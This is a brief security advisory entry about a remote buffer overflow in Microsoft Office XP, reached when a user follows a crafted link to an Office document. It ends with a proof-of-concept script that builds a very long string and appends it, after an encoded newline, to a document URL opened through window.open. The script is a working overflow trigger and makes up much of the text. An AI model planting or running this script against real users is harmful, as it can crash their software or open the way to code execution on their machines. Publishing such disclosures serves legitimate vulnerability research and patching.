source: https://www.securityfocus.com/bid/12480/info A remote buffer overflow vulnerability affects Microsoft Office XP. The problem presents itself when an unsuspecting user follows a malicious HTML link that points to a Office document. A boundary condition error is exposed during this operation that may allow attacker-specified data to corrupt process memory. An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that follows a malicious embedded link. <Script> var mylongstring,myjunk; mylongstring =""; myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb bbbbbbbbbbbbbbbbbbb"; for(c=1;c<5000;c++) { mylongstring = mylongstring + myjunk; } window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring); </script>